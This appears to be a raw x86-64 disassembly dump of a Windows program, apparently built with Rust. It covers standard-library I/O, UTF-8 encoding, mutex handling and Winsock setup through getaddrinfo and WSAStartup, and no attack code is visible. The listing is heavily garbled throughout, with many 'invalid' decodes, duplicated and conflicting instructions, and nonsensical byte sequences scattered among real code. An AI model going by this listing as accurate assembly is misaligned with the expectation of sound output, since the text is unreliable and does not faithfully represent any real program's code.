add cl, byte [rax - 0x77]
or byte [rax - 0x39], r9b
invalid
add al, byte [rax]
add byte [rax], al
mov rcx, rbx
add rsp, 0x2d8
add esp, 0x2d8
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff89
add cl, byte [rax - 0x77]
add cl, byte [rax - 0x77]
or byte [rax - 0x39], r9b
invalid
add esp, 0x2d8
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
jmp qword [sym.imp.kernel32.dll_CloseHandle]
lea r15, [rbp - 0x40]
mov r8d, 0x250
push rax
add al, byte [rax]
add byte [rcx + rcx*4 - 7], cl
rol byte [rcx - 0x48], 0x50
push rax
add al, byte [rax]
add byte [rcx + rcx*4 - 7], cl
xor edx, edx
call fcn.1401069d0
mov rcx, r14
mov ecx, esi
mov rdx, r15
call qword [sym.imp.kernel32.dll_FindFirstFileW]
add byte [rax - 0x7d], cl
clc
dec dword [rdi]
invalid
xchg ecx, eax
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
clc
dec dword [rdi]
test byte [rcx + 0x48000000], dl
mov ecx, eax
invalid
mov rcx, rax
sar edi, 0x15
pushfq
call qword [sym.imp.kernel32.dll_FindClose]
push rax
add eax, dword [rax]
mov eax, dword [rbp - 0x40]
movups xmm0, xmmword [rbp - 0x3c]
movsd xmm1, qword [rbp - 0x2c]
mov r8d, dword [rbp - 0x20]
ror byte [r15], 0x10
invalid
mov edx, dword [rbp - 0x24]
mov ecx, eax
shl ecx, 0x15
fmul qword [rcx + 0x15e1c1c1]
sar ecx, 0x1f
and ecx, dword [rbp - 0x1c]
in al, 0x83
mov ebp, 0x24c
invalid
in al, 0x83
in al, 0x83
mov ebp, 0x24c
add byte [rsi + rcx*2 + 0x48], dh
add r8b, byte [rax]
add byte [rax], al
je 0x1400dd3d9
shl rdx, 0x20
shl edx, 0x20
or rdx, r8
ret 0xc748
mov qword [rsi], 0
mov dword [rsi + 0x10], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
add bh, al
sbb byte [rax], r8b
add byte [rax], al
add byte [rdi], cl
adc dword [rsi + 0x20], eax
mov dword [rsi + 0x18], 0
movups xmmword [rsi + 0x20], xmm0
movlps qword [rsi + 0x30], xmm1
mov qword [rsi + 0x38], rdx
push rsi
cmp byte [rcx + 0x4e894046], cl
mov dword [rsi + 0x44], ecx
test r12, r12
xor byte [rax - 0x77], r9b
xor byte [rax - 0x77], cl
push rsi
cmp byte [rcx + 0x4e894046], cl
invalid
invalid
invalid
invalid
test r12, r12
in al, 0xf
test byte [rdi + 0x48fffffd], ah
invalid
dec dword [rax - 0x75]
or eax, 0xa4e97
je 0x1400dd169
invalid
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
mov word [rdi + 3], cs
invalid
ror byte [rbp - 0x77], cl
invalid
mov word [rdi + 3], cs
add cl, ch
invalid
nop
std
jmp 0x1400dd169
invalid
test eax, 0x400
je 0x1400dd38b
leave
and r9d, 0x20000000
loope 0x1400dd3e7
add byte [rax], al
invalid
je 0x1400dd38b
loope 0x1400dd3e7
add byte [rax], al
and byte [rdi + rbx*4 + 0x48], dh
mov dword [rsi + 8], ebx
invalid
mov qword [rsi + 8], rbx
or byte [rax - 0x39], cl
invalid
mov qword [rsi], 2
test r12, r12
je 0x1400dd182
std
invalid
invalid
std
invalid
mov rcx, qword [0x140182260]
or al, byte [rax]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400dd182
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
invalid
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
invalid
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
invalid
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
lea rcx, [rbp + 0x240]
lea rcx, [rbp + 0x240]
call case.0x140019144.3166
nop
add rsp, 0x38
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rbp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
clc
invalid
invalid
invalid
dec dword [rax - 0x77]
invalid
invalid
mov qword [rbp - 0x18], rdx
call 0xcb55e77d
call 0x1488657cc
invalid
je 0x1400dd494
clc
invalid
invalid
call 0xcb55e77d
call 0x1488657cc
add byte [rbp + rcx + 0x48], dh
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
jae 0x1400dd49a
mov r8, qword [rbp - 0x10]
jmp 0x1400dd4a2
add rsp, 0x40
add esp, 0x40
pop rbp
ret
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
clc
clc
mov rcx, qword [0x140182260]
or eax, 0xa4db7
mov bh, 0x4d
or al, byte [rax]
invalid
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
xor edx, edx
add rsp, 0x40
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
adc byte [rbp + 0x48], dl
sub esp, 0x20
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
js 0x1400dd4de
invalid
je 0x1400dd503
invalid
js 0x1400dd4de
add byte [rdx + rbp + 0x48], dh
mov eax, dword [rbp - 0x18]
sub cl, byte [rax - 0x75]
call 0x150865829
invalid
invalid
js 0x1400dd4f1
mov rax, qword [rbp - 0x18]
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
adc dword [rdx + 0xc], esi
mov rax, qword [rbp - 0x10]
mov rax, qword [rax - 8]
mov qword [rbp - 0x10], rax
jb case.0x1400d8e32.196
mov rcx, qword [0x140182260]
or r8b, byte [r8]
xor edx, edx
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbp
ret
and byte [rbp - 0x3d], bl
int3
int3
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rcx, qword [rcx]
mov eax, ecx
and eax, 3
loopne 0x1400dd525
and byte [rax - 0x75], cl
or dword [rcx + 0x3e083c8], ecx
loopne 0x1400dd525
loopne 0x1400dd525
lea rdx, [0x140178dc4]
movsxd rax, dword [rdx + rax*4]
invalid
wait
mov eax, 0x63480009
add al, 0x82
invalid
invalid
add rax, rdx
jmp rax
invalid
loopne 0x1400dd57b
mov rax, qword [rcx]
mov eax, dword [rcx]
mov rdx, qword [rcx + 8]
add rsp, 0x20
and byte [rbp - 0x3d], bl
or byte [rax - 0x7d], cl
invalid
and byte [rbp - 0x3d], bl
shr rcx, 0x20
shr ecx, 0x20
call fcn.1400d6590
movzx ecx, al
mov dh, 0xc8
jmp 0x1400dd551
shr rcx, 0x20
lea rax, [0x14014b100]
mov rdx, qword [rax + rcx*8]
lea rax, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOs
fadd qword [rsi]
add byte [rax - 0x75], cl
add al, 0xc8
fadd qword [rsi]
add byte [rax - 0x75], cl
add al, 0xc8
invalid
add rsp, 0x20
pop rbp
ret
mov rax, qword [rcx - 1]
mov rdx, qword [rcx + 7]
invalid
mov rcx, rax
call qword [rdx + 0x40]
push rdx
invalid
dec dword [rax - 0x75]
push rcx
invalid
push rdx
nop
nop
add rsp, 0x20
pop rbp
ret
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov r8, qword [rcx]
mov ecx, r8d
and ecx, 3
xor eax, eax
ror byte [rax - 0x73], 0x51
dec byte [rax - 0x7d]
cli
add dh, byte [rbx + 6]
ror byte [rax - 0x73], 0x51
dec byte [rax - 0x7d]
cli
add dh, byte [rbx + 6]
add rsp, 0x20
pop rbp
ret
test rcx, rcx
je 0x1400dd5af
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
invalid
invalid
call qword [rax + 0x48]
nop
add rsp, 0x20
pop rbp
ret
invalid
and al, 0x20
mov r8, qword [rcx]
add dword [rcx + rcx*4 - 0x3f], eax
add dword [rcx + rcx*4 - 0x3f], eax
and ecx, 3
xor eax, eax
lea rdx, [rcx - 2]
cmp rdx, 2
jae 0x1400dd5f5
add rsp, 0x20
pop rbp
ret
test rcx, rcx
je 0x1400dd5ef
invalid
push rbp
push r15
push rdi
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x30
lea rbp, [rsp + 0x30]
test r8, r8
test eax, eax
test eax, eax
je 0x1400dd6ce
movabs byte [0x8948c6894c000000], al
xlatb
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
lea r14, [rbp - 8]
lea r15, str.failed_to_write_whole_buffer
lea r12, [0x140178dd4]
jmp 0x1400dd663
mov bh, 9
add bl, ch
sbb cl, byte [rdi]
invalid
nop dword [rax]
cmp byte [rdx + 0xf], 0x23
jne case.0x1400dd68f.2
mov rcx, r14
int1
call case.0x140019144.3166
test rsi, rsi
je 0x1400dd6ce
invalid
mov ecx, 0xfffffff5
mov rdx, rdi
mov r8, rsi
mov r9, rbx
call 0x1400d3a40
invalid
dec dword [rax - 0x77]
invalid
invalid
mov qword [rbp - 8], rdx
clc
invalid
invalid
clc
test rax, rax
je 0x1400dd6a0
mov eax, edx
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
invalid
loopne 0x1400dd612
jp 0x1400dd6a4
and esi, dword [rdi + rdi*4 - 0x15]
invalid
nop dword [rax]
test rdx, rdx
je 0x1400dd6e2
cmp eax, 0x48f08948
sub eax, edx
mov rax, rsi
sub rax, rdx
jb 0x1400dd6e7
cmp cl, byte [rax + 1]
xlatb
mov rsi, rax
test rsi, rsi
jne 0x1400dd663
jmp 0x1400dd6ce
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
clc
invalid
je 0x1400dd656
clc
and esi, dword [rdx + rcx*4 - 0x15]
add dh, byte [rcx]
ror byte [rax - 0x77], cl
mov rax, rdx
invalid
invalid
invalid
jmp case.0x1400dd68f.2
xor edx, edx
mov rax, rdx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
mov rdx, r15
jmp case.0x1400dd68f.2
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
test r8, r8
je 0x1400dd8a3
invalid
add byte [rcx + rcx*4 - 0x3a], cl
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov rax, r8
mov eax, eax
mov eax, eax
shl rax, 4
xor edx, edx
xor ecx, ecx
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp dword [rdi + rdx], 0
jne 0x1400dd752
inc rcx
add rdx, 0x10
cmp rax, rdx
jne 0x1400dd740
cmp rsi, rcx
jb 0x1400dd8be
invalid
shl ecx, 4
add rdi, rcx
lea r14, [rbp]
lea r15, str.failed_to_write_whole_buffer
lea edi, [0x1401495f8]
lea r12, [0x140178de4]
jmp 0x1400dd79b
mov rcx, r14
call case.0x140019144.3166
test rsi, rsi
je 0x1400dd8a3
lea rax, [rdi - 0x10]
mov r13, rsi
shl r13, 4
mov rcx, r13
nop dword [rax]
jmp 0x1408df6bc
test rcx, rcx
je 0x1400dd7d0
mov r8d, dword [rax + 0x10]
add rax, 0x10
add rcx, 0xfffffffffffffff0
test r8, r8
je 0x1400dd7b0
mov rdx, qword [rax + 8]
jmp 0x1400dd7d8
mov edx, 1
xor r8d, r8d
mov ecx, 0xfffffff4
mov r9, rbx
call 0x1400d3a40
mov qword [rbp - 8], rax
mov qword [rbp], rdx
test rax, rax
je 0x1400dd810
mov eax, edx
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
invalid
test rdx, rdx
je 0x1400dd8b9
mov r9d, dword [rdi + r8]
sub rax, r9
jb 0x1400dd862
inc rcx
add r8, 0x10
mov rdx, rax
cmp r13, r8
jne case.0x1400dd530.11
jmp 0x1400dd865
add byte [rax], r8b
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
je 0x1400dd78a
jmp 0x1400dd8a5
mov rax, rdx
cmp rsi, rcx
jb 0x1400dd8be
mov rdx, rcx
shl rdx, 4
add rdi, rdx
sub rsi, rcx
jne 0x1400dd884
test rax, rax
je 0x1400dd792
jmp 0x1400dd8ff
mov ecx, dword [rdi]
cmp rax, rcx
ja 0x1400dd8cd
cmovs edi, dword [rcx]
enter 0x4277, 0x29
ror dword [rcx + 0x4701480f], 8
sub ecx, eax
mov dword [rdi], ecx
add qword [rdi + 8], rax
cmp qword [rbp - 8], 0
jne 0x1400dd78a
jmp 0x1400dd792
xor edx, edx
mov rax, rdx
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, [0x1401494f8]
mov rdx, rsi
call fcn.1401082c0
lea rax, str.advancing_IoSlice_beyond_its_length
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
mov qword [rbp - 0x28], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rdx, str.library_std_src_syspalwindowsio.rs
lea rcx, [rbp - 0x38]
call fcn.140108280
lea rax, str.advancing_io_slices_beyond_their_length
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
mov qword [rbp - 0x28], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rdx, [0x140149548]
lea rcx, [rbp - 0x38]
call fcn.140108280
int3
and byte [rax - 0x73], cl
push 0x50
cmp qword [rbp - 0x18], 0
cmp dword [rbp - 0x18], 0
cmp dword [rbp - 0x18], 0
je 0x1400de413
lea rcx, [rbp - 0x18]
call case.0x140019144.3166
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
nop
mov qword [rsp + 0x10], rdx
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x50]
mov rcx, qword [rbp - 0x30]
mov edx, dword [rbp - 0xc]
call fcn.1400d9210
mov rax, qword [rbp - 0x28]
lock dec qword [rax]
or byte [rbp + 9], dh
or byte [rbp + 9], dh
mov rcx, qword [rbp - 0x28]
call fcn.1400de1c0
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
cmp eax, eax
jb 0x1400de4a7
mov rcx, qword [rdi + 8]
add rcx, rbx
mov r8, rsi
call fcn.140106250
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov rcx, rdi
mov r14, rdx
mov rdx, rbx
mov r8, rsi
call fcn.140110070
add eax, dword [rax]
add eax, dword [rax]
mov rdx, r14
mov rbx, qword [rdi + 0x10]
mov ebx, dword [rdi + 0x10]
mov ebx, dword [rdi + 0x10]
jmp 0x1400de484
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
sub byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
mov dword [rbp + 4], 0
cmp edx, 0x80
jae 0x1400de4f6
invalid
or cl, byte [rax + 0x1be0455]
add byte [rax], al
add bl, ch
jle 0x1400de480
mov byte [rbp + 4], dl
mov esi, 1
jmp 0x1400de574
mov eax, edx
cmp edx, 0x800
rol byte [rcx + 0x800fa], 1
add byte [rbx + 0x18], dh
jae 0x1400de518
jae 0x1400de518
shr eax, 6
or al, 0xc0
mov byte [rbp + 4], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp + 5], dl
mov esi, 2
jmp 0x1400de574
cmp edx, 0xffff
ja 0x1400de544
shr eax, 0xc
or al, 0xe0
mov byte [rbp + 4], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 5], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp + 6], dl
mov esi, 3
jmp 0x1400de574
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rbp + 4], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rbp + 5], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 6], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp + 7], dl
mov esi, 4
mov rdi, qword [rcx]
mov rax, qword [rdi]
mov rbx, qword [rdi + 0x10]
sub rax, rbx
cmp rax, rsi
jb 0x1400de5ab
mov rcx, qword [rdi + 8]
add rcx, rbx
lea rdx, [rbp + 4]
mov r8, rsi
call fcn.140106250
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.140110070
mov rbx, qword [rdi + 0x10]
jmp 0x1400de586
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
lea rcx, [rcx + 0x81]
cmp rax, rcx
jne 0x1400de676
mov eax, dword [0x1401821f0]
inc eax
jne 0x1400de6ae
lea rcx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sync_reentrant_lock.rs
lea r8, [0x140149978]
mov edx, 0x26
call fcn.1401086b0
invalid
mov cl, 1
xor eax, eax
lock cmpxchg byte [0x1401821f4], cl
add dword [rcx], esi
sal al, 0xf
mov al, 0xd
jb 0x1400de6bb
or al, byte [rax]
jne 0x1400de750
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
xchg byte [rdx + rcx], bh
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0x81]
mov qword [0x1401821e8], rax
mov eax, 1
mov dword [0x1401821f0], eax
lea rax, [0x1401821e8]
mov qword [rbp - 0x50], rax
lea rdi, [rbp - 0x50]
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], 0
lea rdx, str.P7_r_
lea rcx, [rbp - 0x30]
mov r8, rsi
call fcn.140013bb0
mov rcx, qword [rbp - 0x28]
test al, al
je 0x1400de703
test rcx, rcx
lea rsi, str.formatter_error
cmovne rsi, rcx
mov rcx, qword [rbp - 0x50]
dec dword [rcx + 8]
jne 0x1400de736
jmp 0x1400de71c
test rcx, rcx
je 0x1400de711
lea rcx, [rbp - 0x28]
call case.0x140019144.3166
xor esi, esi
mov rcx, qword [rbp - 0x50]
dec dword [rcx + 8]
jne 0x1400de736
mov qword [rcx], 0
xor eax, eax
xchg byte [rcx + 0xc], al
cmp al, 2
jne 0x1400de736
add rcx, 0xc
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test rsi, rsi
jne 0x1400de761
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
lea rcx, [0x1401821f4]
call fcn.1401101b0
add eax, dword [rax]
add eax, dword [rax]
jmp 0x1400de688
dec dword [rax - 0x77]
jne 0x1400de765
mov qword [rbp], rsi
lea rax, [rbp - 0x60]
mov qword [rbp - 0x50], rax
lea rax, [0x1400d5d50]
mov qword [rbp - 0x48], rax
mov rax, rbp
mov qword [rbp - 0x40], rax
lea rax, [fcn.1400da400]
mov qword [rbp - 0x38], rax
lea rax, str.failed_printing_to_:
invalid
add byte [rax - 0x77], cl
ror byte [r8 - 0x39], 1
fadd dword [r10]
add byte [rax], al
add byte [rax - 0x39], cl
lock add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
jge 0x1400de789
mov qword [rbp - 0x18], 2
lea rdx, str.library_std_srcio_stdio.rs
lea rcx, [rbp - 0x30]
call fcn.140108280
ud2
invalid
add byte [rax], al
add byte [rax - 0x77], cl
jge 0x1400de789
mov rdx, qword [rdx]
mov rdi, qword [rax + 8]
movzx eax, word [rax + 0x10]
mov word [rbp + 0x166], ax
mov rax, qword [0x140182268]
cmp rax, 3
jne 0x1400decb2
lea rax, [rbp + 0x166]
mov qword [rbp + 0x150], rax
cmp rdi, 0x17f
add byte [rax], al
add byte [rax], al
ja 0x1400decd8
lea rbx, [rbp - 0x60]
mov rcx, rbx
mov r8, rdi
call fcn.140106250
mov byte [rbp + rdi - 0x60], 0
lea rax, [rdi + 1]
cmp rdi, 0xe
ja 0x1400deb58
xor edx, edx
nop word [rax + rax]
cmp byte [rbp + rdx - 0x60], 0
je 0x1400dec14
inc rdx
cmp rax, rdx
jne 0x1400deb40
jmp 0x1400dec7d
lea rcx, [rbp - 0x59]
lea ecx, [rbp - 0x59]
and rcx, 0xfffffffffffffff8
sub rcx, rbx
je 0x1400deb8e
xor edx, edx
nop word [rax + rax]
cmp byte [rbp + rdx - 0x60], 0
je 0x1400dec14
inc rdx
cmp rcx, rdx
jne 0x1400deb70
lea rdx, [rdi - 0xf]
cmp rcx, rdx
jbe 0x1400deb92
jmp 0x1400debde
lea rdx, [rdi - 0xf]
movdqa xmm0, xmmword [0x140112770]
movabs r8, 0x8080808080808080
nop word cs:[rax + rax]
movdqu xmm1, xmmword [rbp + rcx - 0x60]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r9, xmm2
test r9, r8
jne 0x1400debde
add rcx, 0x10
cmp rcx, rdx
jbe 0x1400debb0
sub rax, rcx
je 0x1400dec7d
lea r8, [rcx + rbp]
add r8, 0xffffffffffffffa0
xor edx, edx
nop word cs:[rax + rax]
cmp byte [r8 + rdx], 0
je 0x1400dec11
inc rdx
cmp rax, rdx
jne 0x1400dec00
jmp 0x1400dec7d
add rdx, rcx
cmp rdx, rdi
jne 0x1400dec7d
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmmword [rbp + 0x140], xmm0
movdqa xmmword [rbp + 0x130], xmm0
mov dword [rbp + 0x128], 1
mov qword [rbp + 0x158], 0
lea rcx, [rbp - 0x60]
lea r8, [rbp + 0x120]
lea r9, [rbp + 0x158]
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x1400dec91
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov ecx, 1
jmp 0x1400deca9
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x1400decea
mov rax, qword [rbp + 0x158]
movzx ecx, word [rbp + 0x166]
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
xor ecx, ecx
mov qword [rsi + 8], rax
mov qword [rsi], rcx
jmp 0x1400decea
mov rbx, rdx
call fcn.140110520
mov rdx, rbx
lea rax, [rbp + 0x166]
mov qword [rbp + 0x150], rax
cmp rdi, 0x17f
jbe 0x1400deb17
lea r9, [rbp + 0x150]
mov rcx, rsi
mov r8, rdi
call fcn.140110590
nop
add rsp, 0x1e8
pop rbx
pop rdi
pop rsi
pop rbp
ret
ret
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
call 0x176980563
add eax, dword [rax]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
call 0x176980563
add eax, dword [rax]
cmp qword [rbp + 8], 0
je 0x1400def80
mov r8, qword [rbp + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rbp + 0x4f], 0
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0x4f], 0
je 0x1400defcc
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.ws2_32.dll_freeaddrinfo]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add al, 0x44
mov eax, dword [rax + 0x18]
movups xmm0, xmmword [rax + 8]
adc byte [rax + 8], al
movups xmmword [r15], xmm0
mov word [rbp - 0x18], 1
movzx eax, word [rbp - 0x1a]
mov word [r14 + 0x10], ax
invalid
invalid
adc byte [rdi], r9b
adc byte [rbp - 0x2a], al
movups xmm0, xmmword [rbp - 0x2a]
movups xmmword [r14], xmm0
movups xmmword [rsi], xmm0
adc dword [rsi], eax
mov dword [rbp - 4], edx
mov dword [rbp], r8d
mov word [rbp + 4], cx
movzx eax, word [rbp - 0x18]
mov ecx, dword [rbp - 0x16]
invalid
invalid
movzx edx, word [rbp - 0x12]
push rbp
out dx, al
mov r8, qword [rbp - 0x10]
invalid
mov r9d, dword [rbp - 8]
mov dword [rsi + 0x10], r9d
mov r9d, dword [rbp - 4]
cld
cld
mov dword [rsi + 0x14], r9d
mov r9d, dword [rbp]
invalid
add byte [rcx + rcx*4 + 0x4e], al
sbb byte [rdi + rcx - 0x49], al
mov dword [rsi + 0x18], r9d
movzx r9d, word [rbp + 4]
add al, 0x66
mov dword [rsi + 0x1c], r9d
sbb byte [rdi + r9 - 0x49], r8b
add al, 0x66
add al, 0x66
mov dword [rsi + 0x1c], r9d
movzx r9d, word [rbp + 6]
mov word [rsi + 0x1e], r9w
mov word [rsi], ax
invalid
mov dword [rsi + 2], ecx
mov word [rsi + 6], dx
mov qword [rsi + 8], r8
mov dword [rsi + 8], eax
add r12b, byte [rsi - 0x77]
push rsi
invalid
mov dword [rsi + 8], eax
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x14014ae89]
lea r8, str.library_std_src_sys_common_net.rsassertion_failed:_len___mem::size_of::_c::sockaddr_in___
mov edx, 0x39
invalid
call fcn.140108350
lea rcx, str.assertion_failed:_len___mem::size_of::_c::sockaddr_in6___
lea r8, str.library_std_src_sys_common_net.rsassertion_failed:_len___mem::size_of::_c::sockaddr_in___
add eax, 0x6bdd7
sahf
mov ebp, 0x8d4c0006
add eax, 0x6bdd7
mov edx, 0x3a
call fcn.140108350
int3
int3
int3
int3
int3
add byte [rax], al
mov rax, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
mov rdi, qword [rax]
mov qword [rax], 0
test rdi, rdi
je 0x1400df1c4
cmp byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
push qword [rax + rax*2 + 0x48]
lea esi, [rbp - 0x60]
jne 0x1400df128
lea rsi, [rbp - 0x60]
jne 0x1400df128
mov r8d, 0x198
mov rcx, rsi
mov ecx, esi
int1
cwde
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
int1
xor edx, edx
call fcn.1401069d0
mov cx, 0x202
mov rdx, rsi
bnd call qword [sym.imp.ws2_32.dll_WSAStartup]
bnd call qword [sym.imp.ws2_32.dll_WSAStartup]
add byte [rcx + 0x16c85], cl
add byte [rbp + 0x482175c0], al
test eax, eax
jne 0x1400df1d0
mov rax, qword [sym.imp.ws2_32.dll_WSACleanup]
mov dword [rbp + 0x16c], eax
test eax, eax
jne 0x1400df1d0
mov rax, qword [sym.imp.ws2_32.dll_WSACleanup]
mov qword [rdi], rax
add rsp, 0x1f0
add byte [rdi + 0x5e], bl
add byte [rdi + 0x5e], bl
pop rbp
ret
lea rcx, str.library_std_src_synconce.rs
call fcn.140108690
mov qword [rbp + 0x138], 0
lea rcx, [rbp + 0x16c]
lea rdx, [rbp + 0x138]
test dword [rax], edi
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea ebp, [rcx + rax]
add byte [rax - 0x73], cl
xchg ebp, eax
cmp byte [rcx], al
add byte [rax], al
call fcn.1401107e0
int3
mov rax, rcx
mul r11
shr rdx, 0xb
imul eax, edx, 0x2710
mov edi, ecx
sub edi, eax
imul ebx, edi, 0x147b
add byte [rax], al
add byte [rax], al
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
movzx edi, di
lea rax, [rsi - 4]
movzx ebx, word [r9 + rbx*2]
sbb al, 0x59
sbb al, 0x59
mov word [rbp + rsi - 0x4c], bx
movzx edi, word [r9 + rdi*2]
movzx edi, word [rcx + rdi*2]
mov word [rbp + rsi - 0x4a], di
mov rsi, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
mov ecx, edx
ja 0x1400df260
cmp rdx, 0x63
jbe 0x1400df2dc
invalid
jnp 0x1400df2d0
add byte [rax], al
shr ecx, 0x11
imul r11d, ecx, 0x64
fldenv [rsp + rax*2 + 0x29]
invalid
fldenv [rsp + rax*2 + 0x29]
fimul dword [rdi]
